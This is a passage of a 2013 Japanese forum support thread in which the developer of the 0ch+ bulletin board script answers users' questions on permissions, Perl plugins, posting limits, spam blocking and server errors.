>>396
先にFTPソフトでファイルを転送しておきます。

設定表を簡略化して説明します。
 ・[710] test/
   ・[710] datas/
     ・[640] *.*
   ・[700] *.cgi

[710] test/ はtestフォルダの属性(パーミッション)を710に設定するという意味です。
FTPソフトからtestフォルダを右クリックすると、属性(パーミッション)を変更するメニューがあります。
その設定画面から属性が710になるように設定します。

次にtestフォルダの中に入ります。
[710] datas/ も同様に設定します。
[640] *.* はdatasフォルダ内の全てのファイルの属性を640に設定するという意味です。

[700] *.cgi はtestフォルダ内のファイル名が○○.cgiであるファイルの属性を全て700に設定するという意味です。

このような感じで表の通りに設定してください。

398 :名無しさん@ぜろちゃんねるプラス:2013/05/19(日) 22:29:12.16 ID:JT50zdVE0
2chのmadakana.cgiが微妙に物凄く(?)バージョンアップしてますけど、
ぜろちゃんねるプラスでも同様に更新する予定はありますでしょうか
2chみたいな規制システムはないので、デザインが変わってどこで規制されてるか検索できるようになるぐらいしかメリットありませんが

399 :0ch+開発担当 ◆0chp.sx.ik :2013/05/19(日) 23:19:26.09 ID:YbYoz7G+0
>>398
madakanaの更新については今のところ未定です。
需要があれば更新するかもしれません。

400 :名無しさん@ぜろちゃんねるプラス:2013/05/20(月) 06:24:08.48 ID:5u6tZ/ec0
>>241の方法でadmin.cgiの場所を変更していますが、
今回のバージョンアップに伴うセッション化でも>>241だけの変更で問題ないでしょうか?

401 :0ch+開発担当 ◆0chp.sx.ik :2013/05/20(月) 11:18:31.04 ID:yBkhJgbQ0
>>400
はい、特に問題は無いはずです。

402 :名無しさん@ぜろちゃんねるプラス:2013/05/20(月) 21:09:38.11 ID:5u6tZ/ec0
>>401
ありがとうございました

403 :名無しさん@ぜろちゃんねるプラス:2013/05/21(火) 21:29:48.54 ID:ZvG+woYo0
http://fusianasan-2ch.wkeya.com/news7vip/
ここで設定してみましたが、書き込めませんでした。
どうすればよいでしょうか?

404 :0ch+開発担当 ◆0chp.sx.ik :2013/05/21(火) 21:42:19.34 ID:uM52LOX60
>>403
すみません、少し不具合がありました。
掲示板設定->0chオリジナル設定のcookie保存パスを「/」にしてください。

405 :名無しさん@ぜろちゃんねるプラス:2013/05/21(火) 21:52:29.53 ID:ZvG+woYo0
>>404
ありがとうございます。
いろいろとご迷惑かけてすみませんでした。

406 :名無しさん@ぜろちゃんねるプラス:2013/05/22(水) 16:25:51.53 ID:az0CL9ZI0
おみくじと忍法帖みたいな機能の作り方を教えて下さい。

407 :名無しさん@ぜろちゃんねるプラス:2013/05/22(水) 18:29:55.10 ID:lKeNehds0
質問よろしくお願いします

現在、書き込み履歴最大保持数を20件の設定をしていますが、ログ閲覧→ホストログでは1000件以上閲覧することができています
この書き込み履歴最大保持数というのはどの履歴の事をを指しているのでしょうか?

あと、短時間投稿規制秒数とsamba待機時間の制限は重複しないでしょうか?
また、短時間投稿規制秒数は全書き込みに対して制限されますか?
それとも、IP別などでその人だけに短時間投稿規制がかかりますか?

408 :0ch+開発担当 ◆0chp.sx.ik :2013/05/22(水) 20:03:43.07 ID:vFwHaHsM0
>>406
おみくじはすでに0ch_omikuji.plがあります。
忍法帖については、主にクッキーとセッションと0ch+の知識が必要です。

>>407
プログラムを確認して来ました。
その「書き込み履歴」はinfo/history.cgiのことでした。
管理画面に閲覧機能がないので、history.cgiの機能は削除しておこうかと思います。
またホストログ(HOST.cgi)は保持数の制限がなく、ログが溜まり続けるようになっていました。
「書き込み履歴最大保持数」の設定をホストログに反映させるようにしておきます。

短時間投稿規制とSamba規制は、制限機能に関しては重複しています。
どちらか一方の使用で充分ですが、一応両立出来るようにはしてあります。
どちらの規制も個々のユーザーに対するものです。

409 :名無しさん@ぜろちゃんねるプラス:2013/05/22(水) 20:16:46.79 ID:lKeNehds0
>>408
わざわざご確認ありがとうございます
近々掲示板のバージョンを上げようと思ってましたが、少し待った方がよさそうですね
お忙しいかと思いますが、書き込み履歴の変更したものだけでも早めにアップしてくれると嬉しいです

410 :名無しさん@ぜろちゃんねるプラス:2013/05/24(金) 23:01:05.45 ID:78QMQ/Z60
ホスト規制のホワイトリストバージョンってどうやればいいんですか?

411 :0ch+開発担当 ◆0chp.sx.ik :2013/05/24(金) 23:11:54.57 ID:prpGDsNc0
>>410
各掲示板->各種編集->規制ユーザの編集 でユーザ種別を
「限定ユーザ」にすれば一覧に記述したホストのみ書き込み可能になります。

ただし規制ユーザと限定ユーザの併用はできません。

412 :名無しさん@ぜろちゃんねるプラス:2013/05/25(土) 07:08:21.54 ID:Ud3FxSoE0
>>411
ありがとうございました

413 :名無しさん@ぜろちゃんねるプラス:2013/05/26(日) 00:01:06.95 ID:nkB2w8Dw0
掲示板の背景画像に{right bottom; background-attachment: fixed; }を常時適応させたいのですが、どこを編集すればよいのでしょうか。

414 :0ch+開発担当 ◆0chp.sx.ik :2013/05/26(日) 00:36:53.73 ID:jfkBfpt+0
>>413
module/varda.pl の sub PrintIndexHead の中、300行目付近を編集してください。

415 :名無しさん@ぜろちゃんねるプラス:2013/05/26(日) 00:52:04.31 ID:nkB2w8Dw0
>>414
ありがとうございます

416 :名無しさん@ぜろちゃんねるプラス:2013/06/02(日) 15:53:45.26 ID:Ksrb37dIi
プラグインで「名前欄にxが含まれていた場合、DATにレスを直に編集してサブジェクト全更新」という処理をさせたいのですが、
サブジェクト更新がうまくいきません。
どのような記述をすればよいのでしょうか。

417 :0ch+開発担当 ◆0chp.sx.ik :2013/06/02(日) 17:25:05.72 ID:IrOlyfxI0
>>416
プラグインに$Thread(BILBO)を渡す手段がないので難しいですね。

subject.txtをflockしている関係で、BILBOオブジェクトを新しく作って
以下のようにするとデッドロックが発生してしまうのでこの方法はダメです。
  my $Threads = BILBO->new;
  $Threads->Load($Sys); # デッドロック
  $Threads->Update($Sys);
  $Threads->Save($Sys);

要するにプラグインだけではどうにも出来ないので、
本体のスクリプトを改造する必要があります。

module/vara.pl 122行目あたりで以下の1行を追加すれば
  $Sys->Get('MainCGI')->{'THREADS'} = $Thread;
プラグインから以下のようにしてかろうじて処理することができます。
  my $Threads = $Sys->Get('MainCGI')->{'THREADS'};
  $Threads->Update($Sys);
  $Threads->Save($Sys);

418 :0ch+開発担当 ◆0chp.sx.ik :2013/06/02(日) 17:28:19.32 ID:IrOlyfxI0
少し訂正
module/vara.pl 122行目では不都合でした。
sub Init内の最後、86行目辺りに追加してください。
  $Sys->Get('MainCGI')->{'THREADS'} = $Thread;

419 :名無しさん@ぜろちゃんねるプラス:2013/06/02(日) 18:41:06.98 ID:aAtoZTQ+0
プラグインを導入する方法を教えて下さい。

420 :名無しさん@ぜろちゃんねるプラス:2013/06/02(日) 19:19:16.04 ID:aAtoZTQ+0
もう一つ質問です。
  http://sourceforge.jp/projects/zerochplus/wiki/Permission#h3-Type-B
で設定してみましたが、v0.7.3ではエラーになってしまいます。
どうすればよいでしょうか?

421 :0ch+開発担当 ◆0chp.sx.ik :2013/06/02(日) 19:57:42.55 ID:IrOlyfxI0
>>419
プラグインファイル 0ch_***.pl を test/plugin/ の中に入れて
管理画面からシステム設定->拡張機能設定->[更新]で一覧に表示されるので
チェックを入れて[設定]するとプラグインが導入されます。

>>420
403エラーか500エラーのどちらですか?
使用しているサーバーなども具体的に教えて下さい。

422 :名無しさん@ぜろちゃんねるプラス:2013/06/02(日) 22:40:09.15 ID:A1lzO4F+0
プールから過去ログ送りにする際にたくさんのプールスレッドを全選択して移動させようとすると500エラーが出るんだけど

423 :0ch+開発担当 ◆0chp.sx.ik :2013/06/02(日) 23:20:52.30 ID:IrOlyfxI0
>>422
こちらで600スレッドほど2chの1000到達したdatを使って実験したところ
特にエラーは起きませんでした。

・0ch+スクリプトに問題がある
・パーミッションの設定が間違っている
・read.cgi用のプラグインでエラーが起こっている
・無料サーバーを使っていて時間のかかる処理が強制終了された
などの原因が考えられますが、
エラー内容などを確認しないことには原因を特定できません。

424 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 20:30:56.32 ID:wPzeU2g60
>>421
500エラーです。
***.wkeya.comを使っています。
その通りに設定しましたが、前とはちがって500エラーになりました。

425 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 20:46:54.81 ID:4/yoJ/8g0
>>418
ご回答ありがとうございます。
ですが上手くいきませんでした。。。

sub execute
{
my $this = shift;
my ($sys,$form) = @_;

$name = $form->Get('FROM');
$bbs = $form->Get('bbs');
$key = $sys->Get('KEY');
$mes = $form->Get('MESSAGE');

$file0 = "/フルパス/$bbs/dat/$key.dat";

if ($name =~ /!aiu/){

$kakiko0 ="テスト中。。。<>tes<>201x/01/78(月) 00:00:00.00 ID:testes<>$mes<>";
$kakiko1 ="テスト中。。。<>tes<>201x/01/78(月) 00:00:00.00 ID:testes<><br>せやろか。テスト中。。。 <>";
$kakiko2 = "$kakiko0$kakiko1";
#DATに直に書込み
open(OUT,">> $file0");
print OUT "$kakiko2";
close(OUT);

my $Threads = $Sys->Get('MainCGI')->{'THREADS'};
$Threads->Update($Sys);
$Threads->Save($Sys);
}else{return 0}

return 0;
}

426 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 20:51:00.65 ID:wPzeU2g60
>>425
どうすればいいですか?

427 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 20:51:21.79 ID:wPzeU2g60
>>426
ミスです見逃して下さい。

428 :0ch+開発担当 ◆0chp.sx.ik :2013/06/03(月) 20:55:25.86 ID:XWAxbj+A0
>>424
FTPから/log/error.logの中身を確認してエラーメッセージを書いてみてください。

>>425
$Sysを$sysとしてください。

429 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 20:57:44.14 ID:wPzeU2g60
/usr/local/lib/site_perl .) at read.cgi line 29.
[Mon Jun 03 20:18:15 2013] [error] [client 66.249.73.120] Premature end of script headers: read.cgi
[Mon Jun 03 20:23:58 2013] [error] [client 61.127.98.45] Can't locate ./module/constant.pl in @INC (@INC contains: ./perllib /etc/perl /usr/local/lib/perl/5.14.2 /usr/local/share/perl/5.14.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.14 /usr/share/perl/5.14 /usr/local/lib/site_perl .) at admin.cgi line 29.
[Mon Jun 03 20:23:58 2013] [error] [client 61.127.98.45] Premature end of script headers: admin.cgi
[Mon Jun 03 20:27:55 2013] [error] [client 66.249.73.120] Can't locate ./module/constant.pl in @INC (@INC contains: ./perllib /etc/perl /usr/local/lib/perl/5.14.2 /usr/local/share/perl/5.14.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.14 /usr/share/perl/5.14 /usr/local/lib/site_perl .) at read.cgi line 29.
[Mon Jun 03 20:27:55 2013] [error] [client 66.249.73.120] Premature end of script headers: read.cgi
[Mon Jun 03 20:30:09 2013] [error] [client 61.127.98.45] Can't locate ./module/constant.pl in @INC (@INC contains: ./perllib /etc/perl /usr/local/lib/perl/5.14.2 /usr/local/share/perl/5.14.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.14 /usr/share/perl/5.14 /usr/local/lib/site_perl .) at admin.cgi line 29.
[Mon Jun 03 20:30:09 2013] [error] [client 61.127.98.45] Premature end of script headers: admin.cgi
[Mon Jun 03 20:31:52 2013] [error] [client 61.127.98.45] Can't locate ./module/constant.pl in @INC (@INC contains: ./perllib /etc/perl /usr/local/lib/perl/5.14.2 /usr/local/share/perl/5.14.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.14 /usr/share/perl/5.14 /usr/local/lib/site_perl .) at admin.cgi line 29.
[Mon Jun 03 20:31:52 2013] [error] [client 61.127.98.45] Premature end of script headers: admin.cgi
[Mon Jun 03 20:39:25 2013] [error] [client 66.249.73.120] Can't locate ./module/constant.pl in @INC (@INC contains: ./perllib /etc/perl /usr/local/lib/perl/5.14.2 /usr/local/share/perl/5.14.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.14 /usr/share/perl/5.14 /usr/local/lib/site_perl .) at read.cgi line 29.
[Mon Jun 03 20:39:25 2013] [error] [client 66.249.73.120] Premature end of script headers: read.cgi


430 :0ch+開発担当 ◆0chp.sx.ik :2013/06/03(月) 21:02:38.45 ID:XWAxbj+A0
>>429
moduleディレクトリのパーミッションは700になっていますか?

431 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 21:06:35.97 ID:wPzeU2g60
>>430
moduleの中が000になってました・・・
変更しましたが、000に戻されてしまいます。

432 :0ch+開発担当 ◆0chp.sx.ik :2013/06/03(月) 21:12:41.95 ID:XWAxbj+A0
>>431
一度ファイルを削除して再転送してください。

433 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 21:33:34.94 ID:4/yoJ/8g0
>>428
ありがとうございます。

434 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 21:42:14.64 ID:GS2sU3VEi
質問です。
ぜろちゃんねるにCGIで自動で書き込むことは可能ですかね・・・?

また、そのCGIをプラグインで実行することは可能ですかね・・・。

435 :0ch+開発担当 ◆0chp.sx.ik :2013/06/03(月) 22:08:14.75 ID:XWAxbj+A0
>>434
同じサーバー内のCGIから書き込むことは一応可能です。

プラグインからも書き込むことはできますが、いくつか問題があります。
同じスレッドに自動で書き込む場合、プラグインが実行されるタイミングの関係で
自動書き込みの方が先に書き込まれます。
また、別スレッドであればsubject.txtの更新で>>416-418あたりの問題が生じます。

プラグインにかかわらずdatに直接追記する方式だと、ログがずれて
管理画面のレス一覧でIPやホスト名がずれてしまう問題もあります。

プログラムの構造やAPIに問題が多いので、ちょっと変わった処理をしようと思うと
かなり複雑なプログラムを組まなければならないというのが現状です。

436 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 22:14:11.49 ID:GS2sU3VEi
>>435
すみません、どのように記述すれば書き込めますかね…
同じサーバー内です

437 :名無しさん@ぜろちゃんねるプラス:2013/06/03(月) 22:22:25.22 ID:wPzeU2g60
>>432
できました!ありがとうございます。

438 :名無しさん@ぜろちゃんねるプラス:2013/06/04(火) 17:24:58.14 ID:l2BuoOWg0
掲示板の掲示板設定にて
制限設定のID情報で
サハリンを選んでもシベリアを選んでもIP表示になります。

439 :windyakin ★:2013/06/04(火) 21:10:45.98 ID:???
>>438
sakhalinを指定するとp2経由の場合はIP+p2のID,携帯(フィーチャーフォン)の場合はIPに加えて端末固有番号を表示します
siberiaの場合はp2経由でも携帯でもIPアドレスのみを表示します

これは2chの仕様です。

sakhalinはsiberiaの上位互換と考えてもらって構いません。

440 :0ch+開発担当 ◆0chp.sx.ik :2013/06/04(火) 21:38:43.17 ID:DT55D2M20
>>436
0ch+システム外部から書き込むプログラムを作りました。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/myres.cgi
※プラグインからは実行出来ません。

これ以上のサポートは出来ませんので、あとはご自分でやってみてください。

441 :名無しさん@ぜろちゃんねるプラス:2013/06/06(木) 17:59:27.78 ID:D6LYHQI20
モバイル端末(スマホetc)からだとIPがコロコロ変わりIDもコロコロ変わっちゃうので端末IDでID決定できるようにできませんか?

442 :windyakin ★:2013/06/06(木) 18:39:14.78 ID:???
フィーチャーフォンでは端末固有IDからのID生成を行っていますが,
スマートフォンでは端末固有IDに相当するものが存在しないのでできません。

443 :名無しさん@ぜろちゃんねるプラス:2013/06/07(金) 04:26:38.98 ID:btH5is+Y0
お世話になっております
1掲示板のsubject最大保持数についてなのですが、これを超えるとdat落ちするということでしょうか?

444 :名無しさん@ぜろちゃんねるプラス:2013/06/07(金) 04:29:32.98 ID:btH5is+Y0
もうひとつご質問なのですが、1レスのアンカー最大数の制限なのですが
これを超えるとアンカーされないのでしょうか?
もしくはエラーで書き込めないのでしょうか?

445 :名無しさん@ぜろちゃんねるプラス:2013/06/07(金) 08:57:23.37 ID:kwmHSKRM0
>>440
本当にありがとうございます。
助かります。

446 :0ch+開発担当 ◆0chp.sx.ik :2013/06/07(金) 20:24:12.55 ID:1aNuL1Wg0
>>443
はい、そういうことになります。

>>444
エラーで書き込めなくなります。
ちなみに今のところキャップに回避機能はありません。

447 :名無しさん@ぜろちゃんねるプラス:2013/06/08(土) 18:37:09.39 ID:IVHFLcaY0
>>446
了解です
ありがとうございました

448 :名無しさん@ぜろちゃんねるプラス:2013/06/11(火) 17:48:34.79 ID:Cy+QgUl+0
>>423
500 ERROR
INTERNAL SERVER ERROR

CGI/SSIが正しく動作していません

と出ます。
削除できる時はできるのですが、何度かやっているとこのエラーが起こり、以降たとえ1スレでも過去ログ化できなくなります。

449 :0ch+開発担当 ◆0chp.sx.ik :2013/06/11(火) 22:14:14.47 ID:qZoAWbAo0
>>448
エラーログの確認はできますか?
スクリプトのバージョンと使用しているサーバーは何ですか?

450 :名無しさん@ぜろちゃんねるプラス:2013/06/12(水) 23:30:14.06 ID:r31IC0hw0
1人あたりが1時間に立てられるスレの上限決められるようにできますか?

451 :0ch+開発担当 ◆0chp.sx.ik :2013/06/13(木) 19:14:02.35 ID:joVOKrS+0
>>450
1時間あたりという条件がつくと少し複雑な改造が必要ですが、
新しい7スレッドのうち一人が3件まで立てられる、といった制限なら1ヶ所書き換えるだけで済みます。

「(時間経過によらない)スレッド立てすぎ規制」の設定値が「新しい7スレッド」にあたります。
そして module/vara.pl の480行目あたりの以下の1行を
  if ($checkCount != 0 && $Log->Search($koyuu, 3, $mode, $host, $checkCount)) {
  ↓ このように書き換えてください。
  if ($checkCount != 0 && $Log->Search($koyuu, 3, $mode, $host, $checkCount) >= 3) {
この数値が「一人が3件まで」にあたります。

いつになるかはわかりませんが、一応次のバージョンで設定を追加しておこうと思います。

452 :名無しさん@ぜろちゃんねるプラス:2013/06/13(木) 20:51:10.73 ID:Mu9MQUv+0
「index.html以外の告知欄を表示する」のチェックを外したのですが
告知欄が表示されてしまいます。

どうすれば告知欄の表示をなくせるでしょうか?

453 :名無しさん@ぜろちゃんねるプラス:2013/06/13(木) 21:56:44.61 ID:y1I6JDkM0
>>452
同じ事を私も聞きました。

>>308-310に解決方法があります。

454 :名無しさん@ぜろちゃんねるプラス:2013/06/16(日) 20:23:57.74 ID:hdquQHdg0
携帯からのスレ立てはどのようにすればいいのでしょうか

455 :0ch+開発担当 ◆0chp.sx.ik :2013/06/16(日) 22:53:01.81 ID:G+p2u/xM0
>>454
携帯からのスレ立ては原則出来ないようにしてあります。

キャップを作って使うか、module/vara.plの460行目あたりの
以下の一行をコメントアウトすれば立てられるようになります。
  return $ZP::E_LIMIT_MOBILETHREAD;
  ↓
  #return $ZP::E_LIMIT_MOBILETHREAD;

456 :名無しさん@ぜろちゃんねるプラス:2013/06/26(水) 08:37:14.73 ID:KQ4+xufA0
海外からのスパムですが、IPを変えられて投稿されています
ホスト名もIPアドレスで表示されている状態です
そこで質問なのですが、IPアドレスを範囲で指定して規制はできますでしょうか?

457 :0ch+開発担当 ◆0chp.sx.ik :2013/06/26(水) 18:50:45.03 ID:5LmC4fYo0
>>456
できます。ホスト規制と同じように「規制ユーザの編集」で指定してください。
>>383に書いたとおりで、2種類の範囲指定ができます。

458 :名無しさん@ぜろちゃんねるプラス:2013/06/27(木) 22:10:42.69 ID:P8KL2YwU0
>>457
ありがとうございます

459 :アクセス解析:2013/06/30(日) 01:25:06.78 ID:hV4Ssxgw0
アクセス解析Google Analyticsを導入したいのですが、どこへ設置すればいいのでしょうか?
ヘッダかフッタに入れるのは可能でしたが、個別スレッドがわかりません。

460 :0ch+開発担当 ◆0chp.sx.ik :2013/06/30(日) 10:39:08.07 ID:8+FcSxx+0
>>459
「META情報の編集」で記述すれば全ページに反映されるはずです。

461 :アクセス解析:2013/06/30(日) 18:47:16.23 ID:hV4Ssxgw0
アクセス解析導入できました。
ありがとうございます。

462 :あぼーん:あぼーん
あぼーん

463 :またんき:またんき
     ∧ ∧
   ヽ(・∀ ・)ノ
   (( ノ(  )ヽ ))
     <  >

464 :名無しさん@ぜろちゃんねるプラス:2013/07/06(土) 19:30:08.85 ID:ylyW/K2QI
知り合いが新しくぜろちゃんねるプラスで掲示板を作りました
なんと俺にも管理権限をくれるというのですが
俺はどこから管理する場所に行けば良いのでしょうか?
管理ルーム?みたいな場所が分かりません


465 :0ch+開発担当 ◆0chp.sx.ik :2013/07/06(土) 20:06:03.59 ID:n5C25bwk0
>>464
デフォルトの設定だとすると、例えばある板のURLが
 ttp://example.jp/bbs1/
となっていれば管理画面は
 ttp://example.jp/test/admin.cgi
でアクセスできます。

 ttp://example.jp/user1/bbs2/
なら
 ttp://example.jp/user1/test/admin.cgi
になります。

466 :名無しさん@ぜろちゃんねるプラス:2013/07/10(水) 15:22:18.54 ID:nft+Igug0
プラグインでIDと、書き込むスレッドのタイトルを取得したいのですが、可能でしょうか。
可能でしたらどう記述すれば良いのか教えていただけないでしょうか。

467 :0ch+開発担当 ◆0chp.sx.ik :2013/07/10(水) 20:25:35.94 ID:+331Ws7Y0
>>466
IDは以下のようにして生成すれば取得出来ます。
  # $Sys は sub execute の第1引数
  my $Conv = $Sys->Get('MainCGI')->{'CONV'};
  my $id = $Conv->MakeID($Sys->Get('SERVER'), $Sys->Get('CLIENT'), $Sys->Get('KOYUU'), $Sys->Get('BBS'), 8);
ただしメール欄入力やキャップ権限などでID:???や専用IDが
表示されている場合でも8桁の日替わりランダムな文字列が生成されます。

スレッドのタイトルは書き込み前処理(type=16)限定ですが、以下のようにすれば取得出来ます。
  # $Sys は sub execute の第1引数
  my $Threads = $Sys->Get('_THREAD_');
  my $title = $Threads->Get('SUBJECT', $Sys->Get('KEY'));

type=1, 2の場合は直接datファイルから取得してください。
  my $datPath = $Sys->Get('DATPATH');
  open(my $fh, '<', $datPath);
  $_ = <$fh>;
  my $title = (split /<>/, $_, -1)[4];
  close($fh);

468 :名無しさん@ぜろちゃんねるプラス:2013/07/11(木) 09:42:06.70 ID:Jt9UcCDs0
>>467
ありがとうございます。

矢継ぎ早に申し訳ないのですが、名前、メール欄、本文、ID、スレタイ、DATKEY、HOST、IP、端末情報、以外に取得できるものはありますでしょうか。

469 :0ch+開発担当 ◆0chp.sx.ik :2013/07/11(木) 19:48:42.51 ID:uRyFMTSQ0
>>468
端末情報はユーザーエージェントと各社ごとの端末固有情報の2種類があります。

以下のようにすれば端末の種類もわかります。
  $client = $Sys->Get('CLIENT');
  if ($client & $ZP::C_AU_M) { ... } # 例えばauの3G回線
ただしほぼIPアドレスだけで判別していて、
WiFiやテザリングなどを使用されると判別できないので正確ではありません。

あまり役に立ちそうにありませんが、掲示板のディレクトリ名も取得出来ます。
  $bbs = $Sys->Get('BBS');

スレ立てとレスのどちらであるかも一応わかります。
  $tate = $Sys->Equal('MODE', 1);
  if ($tate) { スレ立て } else { レス }

フォームやクッキーの情報も取得可能です。
  $param1 = $Form->Get('param1'); # $Formはsub executeの第2引数
  my $Cookies = $Sys->Get('MainCGI')->{'COOKIE'}; # $Sysはsub executeの第1引数
  $cookie1 = $Cookies->Get('cookie1');

多分これくらいだと思います。

470 :新規スレッド作成:2013/07/13(土) 11:17:17.71 ID:n0WR3gp60
「新規スレッド作成」は管理者しか作れないようできるのしょうか?

471 :0ch+開発担当 ◆0chp.sx.ik :2013/07/13(土) 12:02:20.59 ID:+TRpiwrM0
>>470
管理画面からスレッドを作成する機能はありませんが、
スレ立て専用のキャップとキャップグループを作ってそれを使うのはどうでしょうか。

472 :新規スレッド作成:2013/07/13(土) 16:41:03.28 ID:n0WR3gp60
>スレ立て専用のキャップとキャップグループを作ってそれを使うのはどうでしょうか。
これでも一般人からのスレ立てを防ぐことはできませんよね

--------------
(時間経過によらない)スレッド立てすぎ規制 (0で無効)
一度スレッドを立てた人は、ここで設定された数だけ新たなスレッドが、他の人たちにより立てられるまで、新たにスレッドを立てられません。 下の項目と、両方同時に有効にできます。片方しか使わない場合はどちらかを無効化してください。

設定時間内に立てることのできるスレッドの最大数
(0時間にすると無効にできます)

473 :0ch+開発担当 ◆0chp.sx.ik :2013/07/13(土) 17:21:01.86 ID:+TRpiwrM0
>>472
掲示板設定の0chオリジナル設定のところに
「スレッド作成CAP規制」という設定項目があるのでそれを有効にしてください。

それからキャップグループの設定で「スレッド作成可能(キャップ)」の権限を持たせれば
そのキャップグループに属するキャップにしかスレッドの作成ができなくなります。

474 :新規スレッド作成:2013/07/14(日) 13:28:09.37 ID:V0uAxDJk0
キャップのみスレッド作成できました。

ERROR:現在この板のスレッド作成はキャップのみ可能です。
管理人に相談してください。。。

475 :名無しさん@ぜろちゃんねるプラス:2013/07/16(火) 03:29:35.52 ID:ecfSYDmE0
1スレッドのレス最大数を1000にしてるのですが、
1000に達するとRes Listに表示されるHOSTやIPなどが
1レスずつズレるような気がします。
ご確認お願いできますでしょうか?

476 :0ch+開発担当 ◆0chp.sx.ik :2013/07/16(火) 19:41:05.50 ID:vxJFgYa+0
>>475
確かにそうですね。
ホスト名などのログ情報はレスとの結びつきが弱かったので
もしかしたらズレるかもしれないと思っていたのですが、案の定ズレましたね…

ズレを修正しつつ、レスが一致しない場合はログ情報を表示しないように修正しておきました。
必要であれば以下からファイルをダウンロードして mordor/thread.res.pl を置き換えてください。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/466/zerochplus/branches/0.7.x/test/mordor/thread.res.pl
http://svn.sourceforge.jp/svnroot/zerochplus/zerochplus/branches/0.7.x/test/mordor/thread.res.pl

477 :457:2013/07/17(水) 01:37:22.39 ID:B0ndEixY0
>>476
直りました!素早いご対応ありがとうございます。

478 :名無しさん@ぜろちゃんねるプラス:2013/07/17(水) 18:19:23.28 ID:qMuU6Q7o0
突然で申し訳ございません
外部(スクリプトの稼働しているサーバー以外)から浮上属性のついたスレッドかどうか判別することは可能でしょうか
またそのためには何を取得すれば良いのでしょうか

479 :0ch+開発担当 ◆0chp.sx.ik :2013/07/17(水) 19:15:31.96 ID:Z0/rSuME0
>>478
今のところ外部からスレッドの属性情報を取得する方法はありません。

属性情報は 各板DIR/info/attr.cgi にまとめて記録されています。
内容はわりとシンプルなので、自分でこのファイルにアクセスする
CGIプログラムを作るのが手っ取り早いかと思います。

480 :名無しさん@ぜろちゃんねるプラス:2013/07/17(水) 20:38:41.51 ID:qMuU6Q7o0
>>479
ありがとうございます
解決しました

481 :名無しさん@ぜろちゃんねるプラス:2013/07/20(土) 05:54:20.05 ID:CpnjKDCk0
すみませんが教えてください。
新規に掲示板を作成し、『掲示板処理を正常に完了しました。 』と表示されました。
ここから掲示板のURLをクリックするとHTTP 404となり『Web ページが見つかりません』と出てきてしまいます。
どうすればよいのでしょうか?
教えてください。

482 :名無しさん@ぜろちゃんねるプラス:2013/07/20(土) 06:20:15.54 ID:CpnjKDCk0
481です。レンタルサーバーはさくらインターネットのスタンダードを使用しております。

483 :0ch+開発担当 ◆0chp.sx.ik :2013/07/20(土) 14:08:13.98 ID:vtkJAFoM0
>>481
推測ですが、testフォルダの中身だけをアップロードしていませんか?
testフォルダはフォルダごとアップロードしてください。

そうでなければ設置した手順などの詳細を書いてください。

484 :名無しさん@ぜろちゃんねるプラス:2013/07/20(土) 16:32:45.60 ID:CpnjKDCk0
>>481
開発ご担当者様。
迅速なお返事ありがとうございました。まったくその通りでした。
大変申し訳ございませんでした。
あともう一点質問させてください。
既出ではありますが、掲示板にてスレを作成しようとすると、
「ERROR:現在この掲示板は読取専用です。ここは待つしかない。。。 」と表示されます。
過去の質問を見て「BBS_READONLY=none」にしたらよいや他の質問も拝見させていただいたのですが、この設定に行くまでの道順がわかりません。本当に申し訳ございませんが教えていただけないでしょうか?
よろしくお願いいたします。

485 :名無しさん@ぜろちゃんねるプラス:2013/07/20(土) 16:37:53.26 ID:CpnjKDCk0
484です。
ネット中を探しまくっていたらこの質問すれの上の方にありました。
表示されているものしかないと思って、『全部』というものを押したら全部見れて解決できました。ご迷惑をおかけして申し訳ございませんでした。
楽しく使わさせていただきます。

486 :0ch+開発担当 ◆0chp.sx.ik :2013/07/20(土) 16:41:51.65 ID:vtkJAFoM0
>>484
管理画面の掲示板一覧からその掲示板のリンクをたどり、
掲示板設定→0chオリジナル設定 に進むと「掲示板読取専用」という項目があります。
この設定を「書き込み可」にすると書き込み可能になります。

487 :0ch+開発担当 ◆0chp.sx.ik :2013/07/20(土) 16:44:13.52 ID:vtkJAFoM0
>>485
解決できたみたいですね。
0ch+の設定は初心者には分かりにくいものも多いので
またわからないことがあれば遠慮なく質問してください。

488 :名無しさん@ぜろちゃんねるプラス:2013/07/20(土) 17:22:39.55 ID:CpnjKDCk0
開発ご担当者様。
ありがとうございます。勉強しながら頑張ってまいります!!
本当にありがとうございました。

489 :名無しさん@ぜろちゃんねるプラス:2013/07/21(日) 02:45:56.33 ID:xFVMecnk0
何度もすみません。
掲示板はできたのですが、書き込む方から『串を刺してたら書けない』と言われました。
これは対処方法があるのでしょうか?

490 :0ch+開発担当 ◆0chp.sx.ik :2013/07/21(日) 11:00:28.80 ID:ThrWs4FM0
>>489
プロキシ経由での書き込みはデフォルトで規制しています。
解除する場合は以下のどちらかの設定をしてください。
・システム設定→規制設定→DNSBL設定 の「BBQ」のチェックを外す
・各掲示板→掲示板設定→制限設定→DNSBLチェック の「スルーする」にチェックを入れる

491 :名無しさん@ぜろちゃんねるプラス:2013/07/22(月) 00:15:45.88 ID:YzMIVOfo0
>>490
開発ご担当者様
ありがとうございます。こういうのを作るのは初めてで0chにていろいろ勉強させてもらっております。本当にありがとうございます。
さて、また質問です。(何度も申し訳ございません)
『jane styleからだと書き込みできないのですか?』と利用者の方より質問いただきました。この質問板を見返したところ>>15にて同じ質問が上がっており、>>23にて心当たりがある回答が上がってました。
私は現在「test」フォルダを別名にて使用しています。これが原因なのでしょうか?ためしにサーバーに上がってる改名したファイルをtestに戻すと掲示板に書き込むこと自体が出来なくなってしまいました。もう一度掲示板を0から作り直す必要があるのでしょうか?すでに利用者の方もたくさん書き込んでいただいているのでなにか0から作り直す以外に方法があれば教えてください。よろしくお願いします。

